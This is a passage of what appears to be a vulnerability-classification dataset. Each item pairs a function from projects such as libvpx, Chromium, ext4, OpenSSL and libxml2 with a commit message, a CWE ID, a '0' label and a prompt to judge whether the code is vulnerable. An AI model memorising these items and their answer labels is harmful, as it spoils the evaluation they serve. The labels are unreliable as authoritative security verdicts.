vp8_build_intra_predictors_mby_s(xd,
xd->recon_above[0],
xd->recon_left[0],
xd->recon_left_stride[0],
xd->dst.y_buffer,
xd->dst.y_stride);
}
else
{
short *DQC = xd->dequant_y1;
int dst_stride = xd->dst.y_stride;
/* clear out residual eob info */
if(xd->mode_info_context->mbmi.mb_skip_coeff)
memset(xd->eobs, 0, 25);
intra_prediction_down_copy(xd, xd->recon_above[0] + 16);
for (i = 0; i < 16; i++)
{
BLOCKD *b = &xd->block[i];
unsigned char *dst = xd->dst.y_buffer + b->offset;
B_PREDICTION_MODE b_mode =
xd->mode_info_context->bmi[i].as_mode;
unsigned char *Above;
unsigned char *yleft;
int left_stride;
unsigned char top_left;
/*Caution: For some b_mode, it needs 8 pixels (4 above + 4 above-right).*/
if (i < 4 && pbi->common.filter_level)
Above = xd->recon_above[0] + b->offset;
else
Above = dst - dst_stride;
if (i%4==0 && pbi->common.filter_level)
{
yleft = xd->recon_left[0] + i;
left_stride = 1;
}
else
{
yleft = dst - 1;
left_stride = dst_stride;
}
if ((i==4 || i==8 || i==12) && pbi->common.filter_level)
top_left = *(xd->recon_left[0] + i - 1);
else
top_left = Above[-1];
vp8_intra4x4_predict(Above, yleft, left_stride,
b_mode, dst, dst_stride, top_left);
if (xd->eobs[i] )
{
if (xd->eobs[i] > 1)
{
vp8_dequant_idct_add(b->qcoeff, DQC, dst, dst_stride);
}
else
{
vp8_dc_only_idct_add(b->qcoeff[0] * DQC[0],
dst, dst_stride, dst, dst_stride);
memset(b->qcoeff, 0, 2 * sizeof(b->qcoeff[0]));
}
}
}
}
}
else
{
vp8_build_inter_predictors_mb(xd);
}
#if CONFIG_ERROR_CONCEALMENT
if (corruption_detected)
{
return;
}
#endif
if(!xd->mode_info_context->mbmi.mb_skip_coeff)
{
/* dequantization and idct */
if (mode != B_PRED)
{
short *DQC = xd->dequant_y1;
if (mode != SPLITMV)
{
BLOCKD *b = &xd->block[24];
/* do 2nd order transform on the dc block */
if (xd->eobs[24] > 1)
{
vp8_dequantize_b(b, xd->dequant_y2);
vp8_short_inv_walsh4x4(&b->dqcoeff[0],
xd->qcoeff);
memset(b->qcoeff, 0, 16 * sizeof(b->qcoeff[0]));
}
else
{
b->dqcoeff[0] = b->qcoeff[0] * xd->dequant_y2[0];
vp8_short_inv_walsh4x4_1(&b->dqcoeff[0],
xd->qcoeff);
memset(b->qcoeff, 0, 2 * sizeof(b->qcoeff[0]));
}
/* override the dc dequant constant in order to preserve the
* dc components
*/
DQC = xd->dequant_y1_dc;
}
vp8_dequant_idct_add_y_block
(xd->qcoeff, DQC,
xd->dst.y_buffer,
xd->dst.y_stride, xd->eobs);
}
vp8_dequant_idct_add_uv_block
(xd->qcoeff+16*16, xd->dequant_uv,
xd->dst.u_buffer, xd->dst.v_buffer,
xd->dst.uv_stride, xd->eobs+16);
}
}
Commit Message: vp8:fix threading issues
1 - stops de allocating before threads are closed.
2 - limits threads to mb_rows when mb_rows < partitions
BUG=webm:851
Bug: 30436808
Change-Id: Ie017818ed28103ca9d26d57087f31361b642e09b
(cherry picked from commit 70cca742efa20617c70c3209aa614a70f282f90e)
CWE ID:
| 0
| 162,664
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void RenderWidgetHostImpl::CheckRendererIsUnresponsive() {
if (time_when_considered_hung_.is_null())
return;
Time now = Time::Now();
if (now < time_when_considered_hung_) {
StartHangMonitorTimeout(time_when_considered_hung_ - now);
return;
}
NotificationService::current()->Notify(
NOTIFICATION_RENDERER_PROCESS_HANG,
Source<RenderWidgetHost>(this),
NotificationService::NoDetails());
is_unresponsive_ = true;
NotifyRendererUnresponsive();
}
Commit Message: Implement TextureImageTransportSurface using texture mailbox
This has a couple of advantages:
- allow tearing down and recreating the UI parent context without
losing the renderer contexts
- do not require a context to be able to generate textures when
creating the GLSurfaceHandle
- clearer ownership semantics that potentially allows for more
robust and easier lost context handling/thumbnailing/etc., since a texture is at
any given time owned by either: UI parent, mailbox, or
TextureImageTransportSurface
- simplify frontbuffer protection logic;
the frontbuffer textures are now owned by RWHV where they are refcounted
The TextureImageTransportSurface informs RenderWidgetHostView of the
mailbox names for the front- and backbuffer textures by
associating them with a surface_handle (1 or 2) in the AcceleratedSurfaceNew message.
During SwapBuffers() or PostSubBuffer() cycles, it then uses
produceTextureCHROMIUM() and consumeTextureCHROMIUM()
to transfer ownership between renderer and browser compositor.
RWHV sends back the surface_handle of the buffer being returned with the Swap ACK
(or 0 if no buffer is being returned in which case TextureImageTransportSurface will
allocate a new texture - note that this could be used to
simply keep textures for thumbnailing).
BUG=154815,139616
TBR=sky@chromium.org
Review URL: https://chromiumcodereview.appspot.com/11194042
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@171569 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID:
| 0
| 114,593
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void ChromeClientImpl::setToolTip(const String& tooltipText, TextDirection dir)
{
if (!m_webView->client())
return;
WebTextDirection textDirection = (dir == RTL) ?
WebTextDirectionRightToLeft :
WebTextDirectionLeftToRight;
m_webView->client()->setToolTipText(
tooltipText, textDirection);
}
Commit Message: Delete apparently unused geolocation declarations and include.
BUG=336263
Review URL: https://codereview.chromium.org/139743014
git-svn-id: svn://svn.chromium.org/blink/trunk@165601 bbb929c8-8fbe-4397-9dbb-9b2b20218538
CWE ID: CWE-399
| 0
| 118,660
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: bool HTMLFormElement::LayoutObjectIsNeeded(const ComputedStyle& style) {
if (!was_demoted_)
return HTMLElement::LayoutObjectIsNeeded(style);
ContainerNode* node = parentNode();
if (!node || !node->GetLayoutObject())
return HTMLElement::LayoutObjectIsNeeded(style);
LayoutObject* parent_layout_object = node->GetLayoutObject();
bool parent_is_table_element_part =
(parent_layout_object->IsTable() && IsHTMLTableElement(*node)) ||
(parent_layout_object->IsTableRow() && IsHTMLTableRowElement(*node)) ||
(parent_layout_object->IsTableSection() && node->HasTagName(tbodyTag)) ||
(parent_layout_object->IsLayoutTableCol() && node->HasTagName(colTag)) ||
(parent_layout_object->IsTableCell() && IsHTMLTableRowElement(*node));
if (!parent_is_table_element_part)
return true;
EDisplay display = style.Display();
bool form_is_table_part =
display == EDisplay::kTable || display == EDisplay::kInlineTable ||
display == EDisplay::kTableRowGroup ||
display == EDisplay::kTableHeaderGroup ||
display == EDisplay::kTableFooterGroup ||
display == EDisplay::kTableRow ||
display == EDisplay::kTableColumnGroup ||
display == EDisplay::kTableColumn || display == EDisplay::kTableCell ||
display == EDisplay::kTableCaption;
return form_is_table_part;
}
Commit Message: Move user activation check to RemoteFrame::Navigate's callers.
Currently RemoteFrame::Navigate is the user of
Frame::HasTransientUserActivation that passes a RemoteFrame*, and
it seems wrong because the user activation (user gesture) needed by
the navigation should belong to the LocalFrame that initiated the
navigation.
Follow-up CLs after this one will update UserActivation code in
Frame to take a LocalFrame* instead of a Frame*, and get rid of
redundant IPCs.
Bug: 811414
Change-Id: I771c1694043edb54374a44213d16715d9c7da704
Reviewed-on: https://chromium-review.googlesource.com/914736
Commit-Queue: Mustaq Ahmed <mustaq@chromium.org>
Reviewed-by: Daniel Cheng <dcheng@chromium.org>
Cr-Commit-Position: refs/heads/master@{#536728}
CWE ID: CWE-190
| 0
| 152,229
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int ext4_blkdev_put(struct block_device *bdev)
{
return blkdev_put(bdev, FMODE_READ|FMODE_WRITE|FMODE_EXCL);
}
Commit Message: ext4: fix undefined behavior in ext4_fill_flex_info()
Commit 503358ae01b70ce6909d19dd01287093f6b6271c ("ext4: avoid divide by
zero when trying to mount a corrupted file system") fixes CVE-2009-4307
by performing a sanity check on s_log_groups_per_flex, since it can be
set to a bogus value by an attacker.
sbi->s_log_groups_per_flex = sbi->s_es->s_log_groups_per_flex;
groups_per_flex = 1 << sbi->s_log_groups_per_flex;
if (groups_per_flex < 2) { ... }
This patch fixes two potential issues in the previous commit.
1) The sanity check might only work on architectures like PowerPC.
On x86, 5 bits are used for the shifting amount. That means, given a
large s_log_groups_per_flex value like 36, groups_per_flex = 1 << 36
is essentially 1 << 4 = 16, rather than 0. This will bypass the check,
leaving s_log_groups_per_flex and groups_per_flex inconsistent.
2) The sanity check relies on undefined behavior, i.e., oversized shift.
A standard-confirming C compiler could rewrite the check in unexpected
ways. Consider the following equivalent form, assuming groups_per_flex
is unsigned for simplicity.
groups_per_flex = 1 << sbi->s_log_groups_per_flex;
if (groups_per_flex == 0 || groups_per_flex == 1) {
We compile the code snippet using Clang 3.0 and GCC 4.6. Clang will
completely optimize away the check groups_per_flex == 0, leaving the
patched code as vulnerable as the original. GCC keeps the check, but
there is no guarantee that future versions will do the same.
Signed-off-by: Xi Wang <xi.wang@gmail.com>
Signed-off-by: "Theodore Ts'o" <tytso@mit.edu>
Cc: stable@vger.kernel.org
CWE ID: CWE-189
| 0
| 20,448
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: int ssl3_do_change_cipher_spec(SSL *s)
{
int i;
const char *sender;
int slen;
if (s->state & SSL_ST_ACCEPT)
i = SSL3_CHANGE_CIPHER_SERVER_READ;
else
i = SSL3_CHANGE_CIPHER_CLIENT_READ;
if (s->s3->tmp.key_block == NULL) {
if (s->session == NULL || s->session->master_key_length == 0) {
/* might happen if dtls1_read_bytes() calls this */
SSLerr(SSL_F_SSL3_DO_CHANGE_CIPHER_SPEC,
SSL_R_CCS_RECEIVED_EARLY);
return (0);
}
s->session->cipher = s->s3->tmp.new_cipher;
if (!s->method->ssl3_enc->setup_key_block(s))
return (0);
}
if (!s->method->ssl3_enc->change_cipher_state(s, i))
return (0);
/*
* we have to record the message digest at this point so we can get it
* before we read the finished message
*/
if (s->state & SSL_ST_CONNECT) {
sender = s->method->ssl3_enc->server_finished_label;
slen = s->method->ssl3_enc->server_finished_label_len;
} else {
sender = s->method->ssl3_enc->client_finished_label;
slen = s->method->ssl3_enc->client_finished_label_len;
}
i = s->method->ssl3_enc->final_finish_mac(s,
sender, slen,
s->s3->tmp.peer_finish_md);
if (i == 0) {
SSLerr(SSL_F_SSL3_DO_CHANGE_CIPHER_SPEC, ERR_R_INTERNAL_ERROR);
return 0;
}
s->s3->tmp.peer_finish_md_len = i;
return (1);
}
Commit Message:
CWE ID: CWE-17
| 0
| 6,184
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int proc_pident_readdir(struct file *file, struct dir_context *ctx,
const struct pid_entry *ents, unsigned int nents)
{
struct task_struct *task = get_proc_task(file_inode(file));
const struct pid_entry *p;
if (!task)
return -ENOENT;
if (!dir_emit_dots(file, ctx))
goto out;
if (ctx->pos >= nents + 2)
goto out;
for (p = ents + (ctx->pos - 2); p <= ents + nents - 1; p++) {
if (!proc_fill_cache(file, ctx, p->name, p->len,
proc_pident_instantiate, task, p))
break;
ctx->pos++;
}
out:
put_task_struct(task);
return 0;
}
Commit Message: proc: prevent accessing /proc/<PID>/environ until it's ready
If /proc/<PID>/environ gets read before the envp[] array is fully set up
in create_{aout,elf,elf_fdpic,flat}_tables(), we might end up trying to
read more bytes than are actually written, as env_start will already be
set but env_end will still be zero, making the range calculation
underflow, allowing to read beyond the end of what has been written.
Fix this as it is done for /proc/<PID>/cmdline by testing env_end for
zero. It is, apparently, intentionally set last in create_*_tables().
This bug was found by the PaX size_overflow plugin that detected the
arithmetic underflow of 'this_len = env_end - (env_start + src)' when
env_end is still zero.
The expected consequence is that userland trying to access
/proc/<PID>/environ of a not yet fully set up process may get
inconsistent data as we're in the middle of copying in the environment
variables.
Fixes: https://forums.grsecurity.net/viewtopic.php?f=3&t=4363
Fixes: https://bugzilla.kernel.org/show_bug.cgi?id=116461
Signed-off-by: Mathias Krause <minipli@googlemail.com>
Cc: Emese Revfy <re.emese@gmail.com>
Cc: Pax Team <pageexec@freemail.hu>
Cc: Al Viro <viro@zeniv.linux.org.uk>
Cc: Mateusz Guzik <mguzik@redhat.com>
Cc: Alexey Dobriyan <adobriyan@gmail.com>
Cc: Cyrill Gorcunov <gorcunov@openvz.org>
Cc: Jarod Wilson <jarod@redhat.com>
Signed-off-by: Andrew Morton <akpm@linux-foundation.org>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
CWE ID: CWE-362
| 0
| 49,445
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: xmlParseAttValueInternal(xmlParserCtxtPtr ctxt, int *len, int *alloc,
int normalize)
{
xmlChar limit = 0;
const xmlChar *in = NULL, *start, *end, *last;
xmlChar *ret = NULL;
int line, col;
GROW;
in = (xmlChar *) CUR_PTR;
line = ctxt->input->line;
col = ctxt->input->col;
if (*in != '"' && *in != '\'') {
xmlFatalErr(ctxt, XML_ERR_ATTRIBUTE_NOT_STARTED, NULL);
return (NULL);
}
ctxt->instate = XML_PARSER_ATTRIBUTE_VALUE;
/*
* try to handle in this routine the most common case where no
* allocation of a new string is required and where content is
* pure ASCII.
*/
limit = *in++;
col++;
end = ctxt->input->end;
start = in;
if (in >= end) {
const xmlChar *oldbase = ctxt->input->base;
GROW;
if (oldbase != ctxt->input->base) {
long delta = ctxt->input->base - oldbase;
start = start + delta;
in = in + delta;
}
end = ctxt->input->end;
}
if (normalize) {
/*
* Skip any leading spaces
*/
while ((in < end) && (*in != limit) &&
((*in == 0x20) || (*in == 0x9) ||
(*in == 0xA) || (*in == 0xD))) {
if (*in == 0xA) {
line++; col = 1;
} else {
col++;
}
in++;
start = in;
if (in >= end) {
const xmlChar *oldbase = ctxt->input->base;
GROW;
if (ctxt->instate == XML_PARSER_EOF)
return(NULL);
if (oldbase != ctxt->input->base) {
long delta = ctxt->input->base - oldbase;
start = start + delta;
in = in + delta;
}
end = ctxt->input->end;
if (((in - start) > XML_MAX_TEXT_LENGTH) &&
((ctxt->options & XML_PARSE_HUGE) == 0)) {
xmlFatalErrMsg(ctxt, XML_ERR_ATTRIBUTE_NOT_FINISHED,
"AttValue length too long\n");
return(NULL);
}
}
}
while ((in < end) && (*in != limit) && (*in >= 0x20) &&
(*in <= 0x7f) && (*in != '&') && (*in != '<')) {
col++;
if ((*in++ == 0x20) && (*in == 0x20)) break;
if (in >= end) {
const xmlChar *oldbase = ctxt->input->base;
GROW;
if (ctxt->instate == XML_PARSER_EOF)
return(NULL);
if (oldbase != ctxt->input->base) {
long delta = ctxt->input->base - oldbase;
start = start + delta;
in = in + delta;
}
end = ctxt->input->end;
if (((in - start) > XML_MAX_TEXT_LENGTH) &&
((ctxt->options & XML_PARSE_HUGE) == 0)) {
xmlFatalErrMsg(ctxt, XML_ERR_ATTRIBUTE_NOT_FINISHED,
"AttValue length too long\n");
return(NULL);
}
}
}
last = in;
/*
* skip the trailing blanks
*/
while ((last[-1] == 0x20) && (last > start)) last--;
while ((in < end) && (*in != limit) &&
((*in == 0x20) || (*in == 0x9) ||
(*in == 0xA) || (*in == 0xD))) {
if (*in == 0xA) {
line++, col = 1;
} else {
col++;
}
in++;
if (in >= end) {
const xmlChar *oldbase = ctxt->input->base;
GROW;
if (ctxt->instate == XML_PARSER_EOF)
return(NULL);
if (oldbase != ctxt->input->base) {
long delta = ctxt->input->base - oldbase;
start = start + delta;
in = in + delta;
last = last + delta;
}
end = ctxt->input->end;
if (((in - start) > XML_MAX_TEXT_LENGTH) &&
((ctxt->options & XML_PARSE_HUGE) == 0)) {
xmlFatalErrMsg(ctxt, XML_ERR_ATTRIBUTE_NOT_FINISHED,
"AttValue length too long\n");
return(NULL);
}
}
}
if (((in - start) > XML_MAX_TEXT_LENGTH) &&
((ctxt->options & XML_PARSE_HUGE) == 0)) {
xmlFatalErrMsg(ctxt, XML_ERR_ATTRIBUTE_NOT_FINISHED,
"AttValue length too long\n");
return(NULL);
}
if (*in != limit) goto need_complex;
} else {
while ((in < end) && (*in != limit) && (*in >= 0x20) &&
(*in <= 0x7f) && (*in != '&') && (*in != '<')) {
in++;
col++;
if (in >= end) {
const xmlChar *oldbase = ctxt->input->base;
GROW;
if (ctxt->instate == XML_PARSER_EOF)
return(NULL);
if (oldbase != ctxt->input->base) {
long delta = ctxt->input->base - oldbase;
start = start + delta;
in = in + delta;
}
end = ctxt->input->end;
if (((in - start) > XML_MAX_TEXT_LENGTH) &&
((ctxt->options & XML_PARSE_HUGE) == 0)) {
xmlFatalErrMsg(ctxt, XML_ERR_ATTRIBUTE_NOT_FINISHED,
"AttValue length too long\n");
return(NULL);
}
}
}
last = in;
if (((in - start) > XML_MAX_TEXT_LENGTH) &&
((ctxt->options & XML_PARSE_HUGE) == 0)) {
xmlFatalErrMsg(ctxt, XML_ERR_ATTRIBUTE_NOT_FINISHED,
"AttValue length too long\n");
return(NULL);
}
if (*in != limit) goto need_complex;
}
in++;
col++;
if (len != NULL) {
*len = last - start;
ret = (xmlChar *) start;
} else {
if (alloc) *alloc = 1;
ret = xmlStrndup(start, last - start);
}
CUR_PTR = in;
ctxt->input->line = line;
ctxt->input->col = col;
if (alloc) *alloc = 0;
return ret;
need_complex:
if (alloc) *alloc = 1;
return xmlParseAttValueComplex(ctxt, len, normalize);
}
Commit Message: DO NOT MERGE: Add validation for eternal enities
https://bugzilla.gnome.org/show_bug.cgi?id=780691
Bug: 36556310
Change-Id: I9450743e167c3c73af5e4071f3fc85e81d061648
(cherry picked from commit bef9af3d89d241bcb518c20cba6da2a2fd9ba049)
CWE ID: CWE-611
| 0
| 163,430
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: IW_IMPL(void) iw_set_output_density(struct iw_context *ctx,
double x, double y, int code)
{
ctx->img2.density_code = code;
ctx->img2.density_x = x;
ctx->img2.density_y = y;
}
Commit Message: Double-check that the input image's density is valid
Fixes a bug that could result in division by zero, at least for a JPEG
source image.
Fixes issues #19, #20
CWE ID: CWE-369
| 0
| 65,005
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: xmlParseTryOrFinish(xmlParserCtxtPtr ctxt, int terminate) {
int ret = 0;
int avail, tlen;
xmlChar cur, next;
const xmlChar *lastlt, *lastgt;
if (ctxt->input == NULL)
return(0);
#ifdef DEBUG_PUSH
switch (ctxt->instate) {
case XML_PARSER_EOF:
xmlGenericError(xmlGenericErrorContext,
"PP: try EOF\n"); break;
case XML_PARSER_START:
xmlGenericError(xmlGenericErrorContext,
"PP: try START\n"); break;
case XML_PARSER_MISC:
xmlGenericError(xmlGenericErrorContext,
"PP: try MISC\n");break;
case XML_PARSER_COMMENT:
xmlGenericError(xmlGenericErrorContext,
"PP: try COMMENT\n");break;
case XML_PARSER_PROLOG:
xmlGenericError(xmlGenericErrorContext,
"PP: try PROLOG\n");break;
case XML_PARSER_START_TAG:
xmlGenericError(xmlGenericErrorContext,
"PP: try START_TAG\n");break;
case XML_PARSER_CONTENT:
xmlGenericError(xmlGenericErrorContext,
"PP: try CONTENT\n");break;
case XML_PARSER_CDATA_SECTION:
xmlGenericError(xmlGenericErrorContext,
"PP: try CDATA_SECTION\n");break;
case XML_PARSER_END_TAG:
xmlGenericError(xmlGenericErrorContext,
"PP: try END_TAG\n");break;
case XML_PARSER_ENTITY_DECL:
xmlGenericError(xmlGenericErrorContext,
"PP: try ENTITY_DECL\n");break;
case XML_PARSER_ENTITY_VALUE:
xmlGenericError(xmlGenericErrorContext,
"PP: try ENTITY_VALUE\n");break;
case XML_PARSER_ATTRIBUTE_VALUE:
xmlGenericError(xmlGenericErrorContext,
"PP: try ATTRIBUTE_VALUE\n");break;
case XML_PARSER_DTD:
xmlGenericError(xmlGenericErrorContext,
"PP: try DTD\n");break;
case XML_PARSER_EPILOG:
xmlGenericError(xmlGenericErrorContext,
"PP: try EPILOG\n");break;
case XML_PARSER_PI:
xmlGenericError(xmlGenericErrorContext,
"PP: try PI\n");break;
case XML_PARSER_IGNORE:
xmlGenericError(xmlGenericErrorContext,
"PP: try IGNORE\n");break;
}
#endif
if ((ctxt->input != NULL) &&
(ctxt->input->cur - ctxt->input->base > 4096)) {
xmlSHRINK(ctxt);
ctxt->checkIndex = 0;
}
xmlParseGetLasts(ctxt, &lastlt, &lastgt);
while (1) {
if ((ctxt->errNo != XML_ERR_OK) && (ctxt->disableSAX == 1))
return(0);
/*
* Pop-up of finished entities.
*/
while ((RAW == 0) && (ctxt->inputNr > 1))
xmlPopInput(ctxt);
if (ctxt->input == NULL) break;
if (ctxt->input->buf == NULL)
avail = ctxt->input->length -
(ctxt->input->cur - ctxt->input->base);
else {
/*
* If we are operating on converted input, try to flush
* remainng chars to avoid them stalling in the non-converted
* buffer.
*/
if ((ctxt->input->buf->raw != NULL) &&
(ctxt->input->buf->raw->use > 0)) {
int base = ctxt->input->base -
ctxt->input->buf->buffer->content;
int current = ctxt->input->cur - ctxt->input->base;
xmlParserInputBufferPush(ctxt->input->buf, 0, "");
ctxt->input->base = ctxt->input->buf->buffer->content + base;
ctxt->input->cur = ctxt->input->base + current;
ctxt->input->end =
&ctxt->input->buf->buffer->content[
ctxt->input->buf->buffer->use];
}
avail = ctxt->input->buf->buffer->use -
(ctxt->input->cur - ctxt->input->base);
}
if (avail < 1)
goto done;
switch (ctxt->instate) {
case XML_PARSER_EOF:
/*
* Document parsing is done !
*/
goto done;
case XML_PARSER_START:
if (ctxt->charset == XML_CHAR_ENCODING_NONE) {
xmlChar start[4];
xmlCharEncoding enc;
/*
* Very first chars read from the document flow.
*/
if (avail < 4)
goto done;
/*
* Get the 4 first bytes and decode the charset
* if enc != XML_CHAR_ENCODING_NONE
* plug some encoding conversion routines,
* else xmlSwitchEncoding will set to (default)
* UTF8.
*/
start[0] = RAW;
start[1] = NXT(1);
start[2] = NXT(2);
start[3] = NXT(3);
enc = xmlDetectCharEncoding(start, 4);
xmlSwitchEncoding(ctxt, enc);
break;
}
if (avail < 2)
goto done;
cur = ctxt->input->cur[0];
next = ctxt->input->cur[1];
if (cur == 0) {
if ((ctxt->sax) && (ctxt->sax->setDocumentLocator))
ctxt->sax->setDocumentLocator(ctxt->userData,
&xmlDefaultSAXLocator);
xmlFatalErr(ctxt, XML_ERR_DOCUMENT_EMPTY, NULL);
ctxt->instate = XML_PARSER_EOF;
#ifdef DEBUG_PUSH
xmlGenericError(xmlGenericErrorContext,
"PP: entering EOF\n");
#endif
if ((ctxt->sax) && (ctxt->sax->endDocument != NULL))
ctxt->sax->endDocument(ctxt->userData);
goto done;
}
if ((cur == '<') && (next == '?')) {
/* PI or XML decl */
if (avail < 5) return(ret);
if ((!terminate) &&
(xmlParseLookupSequence(ctxt, '?', '>', 0) < 0))
return(ret);
if ((ctxt->sax) && (ctxt->sax->setDocumentLocator))
ctxt->sax->setDocumentLocator(ctxt->userData,
&xmlDefaultSAXLocator);
if ((ctxt->input->cur[2] == 'x') &&
(ctxt->input->cur[3] == 'm') &&
(ctxt->input->cur[4] == 'l') &&
(IS_BLANK_CH(ctxt->input->cur[5]))) {
ret += 5;
#ifdef DEBUG_PUSH
xmlGenericError(xmlGenericErrorContext,
"PP: Parsing XML Decl\n");
#endif
xmlParseXMLDecl(ctxt);
if (ctxt->errNo == XML_ERR_UNSUPPORTED_ENCODING) {
/*
* The XML REC instructs us to stop parsing right
* here
*/
ctxt->instate = XML_PARSER_EOF;
return(0);
}
ctxt->standalone = ctxt->input->standalone;
if ((ctxt->encoding == NULL) &&
(ctxt->input->encoding != NULL))
ctxt->encoding = xmlStrdup(ctxt->input->encoding);
if ((ctxt->sax) && (ctxt->sax->startDocument) &&
(!ctxt->disableSAX))
ctxt->sax->startDocument(ctxt->userData);
ctxt->instate = XML_PARSER_MISC;
#ifdef DEBUG_PUSH
xmlGenericError(xmlGenericErrorContext,
"PP: entering MISC\n");
#endif
} else {
ctxt->version = xmlCharStrdup(XML_DEFAULT_VERSION);
if ((ctxt->sax) && (ctxt->sax->startDocument) &&
(!ctxt->disableSAX))
ctxt->sax->startDocument(ctxt->userData);
ctxt->instate = XML_PARSER_MISC;
#ifdef DEBUG_PUSH
xmlGenericError(xmlGenericErrorContext,
"PP: entering MISC\n");
#endif
}
} else {
if ((ctxt->sax) && (ctxt->sax->setDocumentLocator))
ctxt->sax->setDocumentLocator(ctxt->userData,
&xmlDefaultSAXLocator);
ctxt->version = xmlCharStrdup(XML_DEFAULT_VERSION);
if (ctxt->version == NULL) {
xmlErrMemory(ctxt, NULL);
break;
}
if ((ctxt->sax) && (ctxt->sax->startDocument) &&
(!ctxt->disableSAX))
ctxt->sax->startDocument(ctxt->userData);
ctxt->instate = XML_PARSER_MISC;
#ifdef DEBUG_PUSH
xmlGenericError(xmlGenericErrorContext,
"PP: entering MISC\n");
#endif
}
break;
case XML_PARSER_START_TAG: {
const xmlChar *name;
const xmlChar *prefix = NULL;
const xmlChar *URI = NULL;
int nsNr = ctxt->nsNr;
if ((avail < 2) && (ctxt->inputNr == 1))
goto done;
cur = ctxt->input->cur[0];
if (cur != '<') {
xmlFatalErr(ctxt, XML_ERR_DOCUMENT_EMPTY, NULL);
ctxt->instate = XML_PARSER_EOF;
if ((ctxt->sax) && (ctxt->sax->endDocument != NULL))
ctxt->sax->endDocument(ctxt->userData);
goto done;
}
if (!terminate) {
if (ctxt->progressive) {
/* > can be found unescaped in attribute values */
if ((lastgt == NULL) || (ctxt->input->cur >= lastgt))
goto done;
} else if (xmlParseLookupSequence(ctxt, '>', 0, 0) < 0) {
goto done;
}
}
if (ctxt->spaceNr == 0)
spacePush(ctxt, -1);
else if (*ctxt->space == -2)
spacePush(ctxt, -1);
else
spacePush(ctxt, *ctxt->space);
#ifdef LIBXML_SAX1_ENABLED
if (ctxt->sax2)
#endif /* LIBXML_SAX1_ENABLED */
name = xmlParseStartTag2(ctxt, &prefix, &URI, &tlen);
#ifdef LIBXML_SAX1_ENABLED
else
name = xmlParseStartTag(ctxt);
#endif /* LIBXML_SAX1_ENABLED */
if (ctxt->instate == XML_PARSER_EOF)
goto done;
if (name == NULL) {
spacePop(ctxt);
ctxt->instate = XML_PARSER_EOF;
if ((ctxt->sax) && (ctxt->sax->endDocument != NULL))
ctxt->sax->endDocument(ctxt->userData);
goto done;
}
#ifdef LIBXML_VALID_ENABLED
/*
* [ VC: Root Element Type ]
* The Name in the document type declaration must match
* the element type of the root element.
*/
if (ctxt->validate && ctxt->wellFormed && ctxt->myDoc &&
ctxt->node && (ctxt->node == ctxt->myDoc->children))
ctxt->valid &= xmlValidateRoot(&ctxt->vctxt, ctxt->myDoc);
#endif /* LIBXML_VALID_ENABLED */
/*
* Check for an Empty Element.
*/
if ((RAW == '/') && (NXT(1) == '>')) {
SKIP(2);
if (ctxt->sax2) {
if ((ctxt->sax != NULL) &&
(ctxt->sax->endElementNs != NULL) &&
(!ctxt->disableSAX))
ctxt->sax->endElementNs(ctxt->userData, name,
prefix, URI);
if (ctxt->nsNr - nsNr > 0)
nsPop(ctxt, ctxt->nsNr - nsNr);
#ifdef LIBXML_SAX1_ENABLED
} else {
if ((ctxt->sax != NULL) &&
(ctxt->sax->endElement != NULL) &&
(!ctxt->disableSAX))
ctxt->sax->endElement(ctxt->userData, name);
#endif /* LIBXML_SAX1_ENABLED */
}
spacePop(ctxt);
if (ctxt->nameNr == 0) {
ctxt->instate = XML_PARSER_EPILOG;
} else {
ctxt->instate = XML_PARSER_CONTENT;
}
break;
}
if (RAW == '>') {
NEXT;
} else {
xmlFatalErrMsgStr(ctxt, XML_ERR_GT_REQUIRED,
"Couldn't find end of Start Tag %s\n",
name);
nodePop(ctxt);
spacePop(ctxt);
}
if (ctxt->sax2)
nameNsPush(ctxt, name, prefix, URI, ctxt->nsNr - nsNr);
#ifdef LIBXML_SAX1_ENABLED
else
namePush(ctxt, name);
#endif /* LIBXML_SAX1_ENABLED */
ctxt->instate = XML_PARSER_CONTENT;
break;
}
case XML_PARSER_CONTENT: {
const xmlChar *test;
unsigned int cons;
if ((avail < 2) && (ctxt->inputNr == 1))
goto done;
cur = ctxt->input->cur[0];
next = ctxt->input->cur[1];
test = CUR_PTR;
cons = ctxt->input->consumed;
if ((cur == '<') && (next == '/')) {
ctxt->instate = XML_PARSER_END_TAG;
break;
} else if ((cur == '<') && (next == '?')) {
if ((!terminate) &&
(xmlParseLookupSequence(ctxt, '?', '>', 0) < 0))
goto done;
xmlParsePI(ctxt);
} else if ((cur == '<') && (next != '!')) {
ctxt->instate = XML_PARSER_START_TAG;
break;
} else if ((cur == '<') && (next == '!') &&
(ctxt->input->cur[2] == '-') &&
(ctxt->input->cur[3] == '-')) {
int term;
if (avail < 4)
goto done;
ctxt->input->cur += 4;
term = xmlParseLookupSequence(ctxt, '-', '-', '>');
ctxt->input->cur -= 4;
if ((!terminate) && (term < 0))
goto done;
xmlParseComment(ctxt);
ctxt->instate = XML_PARSER_CONTENT;
} else if ((cur == '<') && (ctxt->input->cur[1] == '!') &&
(ctxt->input->cur[2] == '[') &&
(ctxt->input->cur[3] == 'C') &&
(ctxt->input->cur[4] == 'D') &&
(ctxt->input->cur[5] == 'A') &&
(ctxt->input->cur[6] == 'T') &&
(ctxt->input->cur[7] == 'A') &&
(ctxt->input->cur[8] == '[')) {
SKIP(9);
ctxt->instate = XML_PARSER_CDATA_SECTION;
break;
} else if ((cur == '<') && (next == '!') &&
